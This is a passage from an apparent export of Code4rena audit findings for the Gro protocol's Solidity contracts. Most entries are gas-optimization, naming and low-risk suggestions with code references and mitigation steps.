https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L68-L75 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Check for _feeToken == 2 in constructor or set+check it using setFeeToken() later. Given that it is only USDT which may have fees, consider hardcoding this assumption instead of making it flexible and leaving room for error, because this is not something that applies to DAI or USDC. The entire codebase currently assumes the presence of only these three tokens in the protocol anyway. "}, {"title": "Simpler logic can save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The for loop in investSingle() can be removed in favor of simpler logic to calculate k [k = N_COINS - (i + j)], which will save some gas in the deposit flow. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L317-L326 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Replace L317 to L323 with: ``` uint256 inBalance = inAmounts[N_COINS - (i + j)]; if (inBalance > 0) { _exchange(inBalance, int128(k), int128(i)); } ``` "}, {"title": "Removing unnecessary lpToken.balanceOf can save 4700+ gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact In LifeGuard3Pool (LG) deposit(), lp token balance is determined for the crv3pool.add_liquidity() call. Given that LG does not hold any lp tokens between txs, there is no need to determine and subtract lp token balance before and after the curve add liquidity call. Removing the call on L204 will save at least 2600+2100=4700 gas from the external call. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L204-L206 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove the call on L204 and just get the balance on L206 without any subtraction. "}, {"title": "Removing redundant code can save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact In LG setDependencies(), the code to approve withdrawHandler to pull from lifeguard is repeated twice, once to set it to 0 allowance if the withdrawHandler is != 0 and then unconditionally to set it MAX. Given that this is the only function that sets withdrawHandler, the first set of 0 approvals seem to be redundant given the unconditional approvals that follow. Removing this can save some gas although we don\u2019t expect this to be called often. The redundant logic could be for the case where the withdrawHandler is updated and the old handler is given an approval of 0 and the new one MAX. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L78-L89 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate code and remove logic if redundant. If this is present to handle withdrawHandler updates then ignore this recommendation. "}, {"title": "Removing unused return values can save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The investDelta return variable from function getVaultDeltaForDeposit() is ignored at the only call-site in DepositHandler. Removing it can save some gas. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Insurance.sol#L144-L152 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Insurance.sol#L171-L175 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L193 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove unused return value or add logic to use it at caller. "}, {"title": "Removing unnecessary check can save gas in withdraw flow", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The minAmount <= amount check in _prepareForWithdrawalSingle() is an unnecessary check because the same check has already passed in both lg.withdrawSingleByLiquidity and lg.withdrawSingleByExchange. And there is no logic that changes the checked parameters between the earlier checks and this one. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L361 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L224 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pools/LifeGuard3Pool.sol#L268 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove unnecessary check. "}, {"title": "Changing function visibility from public to external/internal/private can save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact For public functions, the input parameters are copied to memory automatically which costs gas. If a function is only called externally, making its visibility as external will save gas because external function\u2019s parameters are not copied into memory and are instead read from calldata directly. If a function is called only from with that contract or derived contracts, making it internal/private can further reduce gas costs because the expensive calls are converted into cheaper jumps. ## Proof of Concept The only callers of eoaOnly() are external contracts DepositHandler and WithdrawHandler. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L268 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L112 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L211 The only caller of calcSystemTargetDelta() is Insurance. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Allocation.sol#L62-L63 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Insurance.sol#L213 The only caller of calcVaultTargetDelta() is Insurance. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Allocation.sol#L92-L93 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/insurance/Insurance.sol#L432 validGTokenDecrease() can be made private just like validGTokenIncrease because it is only called from within Controller. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L448 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L248 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change function visibility from public to external/private where possible. "}, {"title": "Moving logic to where required will save >=6800 gas on deposit/withdraw flows", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact In isValidBigFish(), the calculation of gvt and pard assets by making an external call to PnL.calcPnL() is required only if the amount is >= bigFishAbsoluteThreshold. Impact: Moving this logic for calculation of `assets` to the else part where it is required will save gas due to the external pnl call (2600 call + 2*2100 SLOADs for state variable reads in calcPnL()) for the sardine flow, where this is not required. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L250-L258 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/pnl/PnL.sol#L144-L146 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Move logic to else part instead of doing it before the conditional as shown below: ``` if (amount < bigFishAbsoluteThreshold) { return false; } else if (amount > assets) { return true; } else { (uint256 gvtAssets, uint256 pwrdAssets) = IPnL(pnl).calcPnL(); uint256 assets = pwrdAssets.add(gvtAssets); return amount > assets.mul(bigFishThreshold).div(PERCENTAGE_DECIMAL_FACTOR); } ``` "}, {"title": "Unnecessary zero-address check", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Unnecessary zero-address check for account in addReferral() because it is always msg.sender (can never be 0) in the only call site from DepositHandler::depositGToken(). Removing this check can save a little gas in the critical deposit flow. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L202 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L115 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove unnecessary zero-address check. "}, {"title": "Removing unnecessary initializations can save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Removing unnecessary initializations can save gas"}, {"title": "Rearranging order of state variable declarations to pack them will save storage slots and gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Moving declarations of state variables that take < 32 Bytes next to each other will allow combining them in the same storage slot and potentially save gas from combined SSTOREs depending on store patterns. Impact: Moving emergencyState bool right next to preventSmartContracts bool will conserve a storage slot and may save gas. ## Proof of Concept See reference: https://mudit.blog/solidity-gas-optimization-tips/ and https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L54 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/Controller.sol#L44 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Moving declarations of state variables that take < 32 Bytes next to each other. E.g.: booleans next to each other or address types. "}, {"title": "Simplifying logic will save at least 4200-11,500 gas in deposit flow", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The feeToken logic is to account for tokens that may charge transfer fees and therefore require balance checks before/after transfers. For now, the only token that is programmed to potentially do so (in future, not currently) is USDT (neither DAI/USDC have this capability). Impact: While this flexible future-proof logic is good design, this costs 3 SLOADs = 3*2100 = 6300 gas for reading the state variable feeToken 3 times (different index each time i.e. costs 2100, not 100) while the only token programmed for transfer fees is USDT (which has never charged fees). 2100 gas + two external token balance calls for USDT (2600*2 = 5200 gas + balance gas costs) >= total of 7300 gas for USDT and 4200 gas for other two tokens is perhaps expensive to support this future-proofing logic. However, from a security-perspective, it might be safer to leave this in here for USDT but remove checking for other two. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L145-L149 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L163-L167 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate removing it completely or hardcoding logic only for USDT index=2 to save gas. "}, {"title": "Caching repeatedly read state variables in local variables can save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Post-Berlin, SLOADs on state variables accessed first-time in a transaction increased from 800 gas to 2100, which is a 2.5x increase. Successive SLOADs cost 100 gas. Memory stores/loads (MSTOREs/MLOADs) cost only 3 gas. Therefore, by caching repeatedly read state variables in local variables within a function, one can save >=100 gas. ## Proof of Concept * Caching ctrl address in a local variable will save 300 gas because it is SLOADed 4 times now in this critical deposit flow. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L112 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L115 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L119 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L121 * Caching lg address state variable in a local variable outside the loop can save 1100 gas by avoiding 4 unnecessary SLOADs per loop iteration (4*3 = 12 but one SLOAD is hoisted out of the loop = 11 extra SLOADS at 100 gas = 1100 gas). https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L147-L151 * Caching buoy address state variable in the function beginning can save 100 gas from an extra SLOAD. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L174-L176 * Caching insurance address in function beginning can save 100 gas from an unnecessary SLOAD. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L193 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L198 * Caching lg address in function beginning can save 100 gas from an unnecessary SLOAD. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L197 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/DepositHandler.sol#L199 * Hoisting buoy state variable out of the loop and caching it in a local variable will save 300 gas from 3 unnecessary SLOADs. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L181 * Caching buoy in a local variable will save 100 gas. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L212 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L219 * Caching ctrl in a local variable at the function beginning and using that in the rest of this function will save 4 unnecessary SLOADs i.e. 400 gas in this function. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L211 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L221 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L226 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L236 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L260 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L264 * Hoisting buoy out of the loop and caching in a local variable will save 3 unnecessary SLOADs and so 300 gas. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L329 * Caching lg in a local variable will save 100 gas. https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L356 https://github.com/code-423n4/2021-06-gro/blob/091660467fc8d13741f8aafcec80f1e8cf129a33/contracts/WithdrawHandler.sol#L357 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache repeatedly read state variables (especially those within a loop) in local variables at an appropriate part of the function (preferably the beginning) and use them instead of state variables. Converting SLOADs to MLOADs reduces gas from 100 to 3. "}, {"title": "Using access lists can save gas due to EIP-2930 post-Berlin hard fork", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Using access lists can save gas due to EIP-2930 post-Berlin hard fork"}, {"title": "Avoid use of state variables in event emissions to save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Avoid use of state variables in event emissions to save gas"}, {"title": "Upgrading the solc compiler to >=0.8 may save gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Upgrading the solc compiler to >=0.8 may save gas"}, {"title": "Unnecessary duplication of array", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact The methods `_stableToUsd` and `_stableToLp` in the`Buoy3Pool.sol` contract is duplicating the array unnecessarily and costing gas to the users. ``` function _stableToUsd(uint256[N_COINS] memory tokenAmounts, bool deposit) internal view returns (uint256) { require(tokenAmounts.length == N_COINS, \"deposit: !length\"); uint256[N_COINS] memory _tokenAmounts; for (uint256 i = 0; i < N_COINS; i++) { _tokenAmounts[i] = tokenAmounts[i]; } uint256 lpAmount = curvePool.calc_token_amount(_tokenAmounts, deposit); return _lpToUsd(lpAmount); } function _stableToLp(uint256[N_COINS] memory tokenAmounts, bool deposit) internal view returns (uint256) { require(tokenAmounts.length == N_COINS, \"deposit: !length\"); uint256[N_COINS] memory _tokenAmounts; for (uint256 i = 0; i < N_COINS; i++) { _tokenAmounts[i] = tokenAmounts[i]; } return curvePool.calc_token_amount(_tokenAmounts, deposit); } ``` "}, {"title": "optimization uses extra gas", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "optimization uses extra gas"}, {"title": "BASIS_POINTS naming convention", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/23", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The variable BASIS_POINTS in Buoy3Pool.sol is written in capitals, which is the naming convention for constants. However BASIS_POINTS isn't a constant, because it is updated in setBasisPointsLmit This is confusing when reading the code. ## Proof of Concept https://github.com/code-423n4/2021-06-gro/blob/main/contracts/pools/oracle/Buoy3Pool.sol#L30 uint256 public BASIS_POINTS = 20; function setBasisPointsLmit(uint256 newLimit) external onlyOwner { uint256 oldLimit = BASIS_POINTS; BASIS_POINTS = newLimit; emit LogNewBasisPointLimit(oldLimit, newLimit); } ## Tools Used ## Recommended Mitigation Steps Change BASIS_POINTS to something like: basisPoints "}, {"title": "use safemath", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/22", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "use safemath"}, {"title": "calcProtocolExposureDelta could use a break", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact calcProtocolExposureDelta should probably stop executing once it has found the first occurrence where exposure > threshold. (as is also indicated in the comment). The current code also works (due to the check protocolExposedDeltaUsd == 0), however inserting a break statement at the end of the \"if\" is more logical and saves a bit of gas. ## Proof of Concept //https://github.com/code-423n4/2021-06-gro/blob/main/contracts/insurance/Allocation.sol#L286 /// By defenition, only one protocol can exceed exposure in the current setup. ... function calcProtocolExposureDelta(uint256[] memory protocolExposure, SystemState memory sysState) private pure returns (uint256 protocolExposedDeltaUsd, uint256 protocolExposedIndex) { for (uint256 i = 0; i < protocolExposure.length; i++) { // If the exposure is greater than the rebalance threshold... if (protocolExposedDeltaUsd == 0 && protocolExposure[i] > sysState.rebalanceThreshold) { // ...Calculate the delta between exposure and target uint256 target = sysState.rebalanceThreshold.sub(sysState.targetBuffer); protocolExposedDeltaUsd = protocolExposure[i].sub(target).mul(sysState.totalCurrentAssetsUsd).div( PERCENTAGE_DECIMAL_FACTOR ); protocolExposedIndex = i; // probably put a break here } } } ## Tools Used ## Recommended Mitigation Steps Add a break statement at the end of the if "}, {"title": "Unnecessary update of amount ", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In several functions of BaseVaultAdaptor a value is stored in the variable amount at the end of the function. However this variable is never used afterwards so the storage is unnecessary and just uses gas. ## Proof of Concept // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/vaults/BaseVaultAdaptor.sol#L165 function withdraw(uint256 amount) external override { .. if (!_withdrawFromAdapter(amount, msg.sender)) { amount = _withdraw(calculateShare(amount), msg.sender); function withdraw(uint256 amount, address recipient) external override { ... if (!_withdrawFromAdapter(amount, recipient)) { amount = _withdraw(calculateShare(amount), recipient); function withdrawToAdapter(uint256 amount) external onlyOwner { amount = _withdraw(calculateShare(amount), address(this)); } function withdrawByStrategyOrder( .. if (!_withdrawFromAdapter(amount, recipient)) { amount = _withdrawByStrategyOrder(calculateShare(amount), recipient, reversed); function withdrawByStrategyIndex( ... if (!_withdrawFromAdapter(amount, recipient)) { amount = _withdrawByStrategyIndex(calculateShare(amount), recipient, strategyIndex); ## Tools Used ## Recommended Mitigation Steps Replace amount = _withdraw***(...); with _withdraw***(...); "}, {"title": "Easier way to determine strategiesLength ", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Easier way to determine strategiesLength "}, {"title": "initialize maxPercentForWithdraw and maxPercentForDeposit?", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/16", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "initialize maxPercentForWithdraw and maxPercentForDeposit?"}, {"title": "require comments don't all follow convention", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/14", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "require comments don't all follow convention"}, {"title": "Outdated comment at calculateWithdrawalAmountsOnPartVaults ", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/13", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "Outdated comment at calculateWithdrawalAmountsOnPartVaults "}, {"title": "redundant check of array length", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/12", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _stableToUsd and _stableToLp check that the size of the input array is right. However because that parameter definition also contains the length (e.g. [N_COINS] ), it is already checked by solidity. So checking it again is not necessary. Note: if this would be necessary than it should also be done at the other functions that have an input parameter with [N_COINS], see at Proof of concept. ## Proof of Concept //https://github.com/code-423n4/2021-06-gro/blob/main/contracts/pools/oracle/Buoy3Pool.sol#L174 function _stableToUsd(uint256[N_COINS] memory tokenAmounts, bool deposit) internal view returns (uint256) { require(tokenAmounts.length == N_COINS, \"deposit: !length\"); ... function _stableToLp(uint256[N_COINS] memory tokenAmounts, bool deposit) internal view returns (uint256) { require(tokenAmounts.length == N_COINS, \"deposit: !length\"); .. Other functions with a [N_COINS] parameter: .\\Controller.sol: function distributeCurveAssets(uint256 amount, uint256[N_COINS] memory delta) external onlyWhitelist { .\\DepositHandler.sol: function _invest(uint256[N_COINS] memory _inAmounts, uint256 roughUsd) internal returns (uint256 dollarAmount) { .\\DepositHandler.sol: function roughUsd(uint256[N_COINS] memory inAmounts) private view returns (uint256 usdAmount) { .\\WithdrawHandler.sol: function withdrawAllBalanced(bool pwrd, uint256[N_COINS] calldata minAmounts) external override { .\\insurance\\Exposure.sol: function getUnifiedAssets(address[N_COINS] calldata vaults) .\\insurance\\Exposure.sol: function calculateStableCoinExposure(uint256[N_COINS] memory directlyExposure, uint256 curveExposure) .\\insurance\\Insurance.sol: function calculateWithdrawalAmountsOnPartVaults(uint256 amount, address[N_COINS] memory vaults) .\\insurance\\Insurance.sol: function calculateWithdrawalAmountsOnAllVaults(uint256 amount, address[N_COINS] memory vaults) .\\pools\\LifeGuard3Pool.sol: function distributeCurveVault(uint256 amount, uint256[N_COINS] memory delta) .\\pools\\LifeGuard3Pool.sol: function invest(uint256 depositAmount, uint256[N_COINS] calldata delta) .\\pools\\LifeGuard3Pool.sol: function _withdrawUnbalanced(uint256 inAmount, uint256[N_COINS] memory delta) private { .\\pools\\oracle\\Buoy3Pool.sol: function stableToUsd(uint256[N_COINS] calldata inAmounts, bool deposit) external view override returns (uint256) { .\\pools\\oracle\\Buoy3Pool.sol: function stableToLp(uint256[N_COINS] calldata tokenAmounts, bool deposit) external view override returns (uint256) { ## Tools Used ## Recommended Mitigation Steps Remove : require(tokenAmounts.length == N_COINS, \"deposit: !length\"); "}, {"title": "setUnderlyingTokenPercent should check percentages", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/11", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-06-gro-findings", "body": "setUnderlyingTokenPercent should check percentages"}, {"title": "setFeeToken doesn't check index", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "setFeeToken doesn't check index"}, {"title": "implicit assumptions about underlying coins", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-gro-findings", "body": "implicit assumptions about underlying coins"}, {"title": "hardcoded values", "html_url": "https://github.com/code-423n4/2021-06-gro-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-gro-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact There are several hardcodes values that could very well be replaced with constants. For example: - 10**18 - 5E17 - 10000 - 10**4 - 3 (N_COINS) This will make the code more readable and easier to maintain ## Proof of Concept //https://github.com/code-423n4/2021-06-gro/blob/main/contracts/DepositHandler.sol#L206 function roughUsd(uint256[N_COINS] memory inAmounts) private view returns (uint256 usdAmount) { .. usdAmount = usdAmount.add(inAmounts[i].mul(10**18).div(getDecimal(i))); // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/tokens/GToken.sol#L24 abstract contract GToken is GERC20, Constants, Whitelist, IToken { uint256 public constant BASE = DEFAULT_DECIMALS_FACTOR; function applyFactor( .... if (diff >= 5E17) { // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/vaults/yearnv2/v032/VaultAdaptorYearnV2_032.sol#L107 function updateStrategiesDebtRatio(uint256[] memory ratios) internal override { .. require(ratioTotal <= 10**4, \"The total of ratios is more than 10000\"); // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/Controller.sol#L317 function emergency(uint256 coin) external onlyWhitelist { ... percent = 10000; // https://github.com/code-423n4/2021-06-gro/blob/main/contracts/insurance/Insurance.sol#L144 function getVaultDeltaForDeposit(uint256 amount) .... investDelta[vaultIndexes[0]] = 10000; .\\common\\StructDefinitions.sol: uint256[3] vaultCurrentAssets; .\\common\\StructDefinitions.sol: uint256[3] vaultCurrentAssetsUsd; .\\common\\StructDefinitions.sol: uint256[3] stablePercents; .\\common\\StructDefinitions.sol: uint256[3] stablecoinExposure; .\\common\\StructDefinitions.sol: uint256[3] protocolWithdrawalUsd; .\\common\\StructDefinitions.sol: uint256[3] swapInAmounts; .\\common\\StructDefinitions.sol: uint256[3] swapInAmountsUsd; .\\common\\StructDefinitions.sol: uint256[3] swapOutPercents; .\\common\\StructDefinitions.sol: uint256[3] vaultsTargetUsd; .\\interfaces\\IBuoy.sol: function stableToUsd(uint256[3] calldata inAmount, bool deposit) external view returns (uint256); .\\interfaces\\IBuoy.sol: function stableToLp(uint256[3] calldata inAmount, bool deposit) external view returns (uint256); .\\interfaces\\IController.sol: function stablecoins() external view returns (address[3] memory); .\\interfaces\\IController.sol: function vaults() external view returns (address[3] memory); .\\interfaces\\ICurve.sol: function calc_token_amount(uint256[3] calldata inAmounts, bool deposit) external view returns (uint256); .\\interfaces\\ICurve.sol: function add_liquidity(uint256[3] calldata uamounts, uint256 min_mint_amount) external; .\\interfaces\\ICurve.sol: function remove_liquidity(uint256 amount, uint256[3] calldata min_uamounts) external; .\\interfaces\\ICurve.sol: function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external; .\\interfaces\\IDepositHandler.sol: uint256[3] calldata inAmounts, .\\interfaces\\IDepositHandler.sol: uint256[3] calldata inAmounts, .\\interfaces\\IExposure.sol: function getUnifiedAssets(address[3] calldata vaults) .\\interfaces\\IExposure.sol: returns (uint256 unifiedTotalAssets, uint256[3] memory unifiedAssets); .\\interfaces\\IExposure.sol: uint256[3] calldata unifiedAssets, .\\interfaces\\IExposure.sol: uint256[3] calldata targetPercents .\\interfaces\\IExposure.sol: ) external pure returns (uint256[3] memory vaultIndexes); .\\interfaces\\IExposure.sol: uint256[3] calldata targets, .\\interfaces\\IExposure.sol: address[3] calldata vaults, .\\interfaces\\IExposure.sol: ) external view returns (uint256[3] memory); 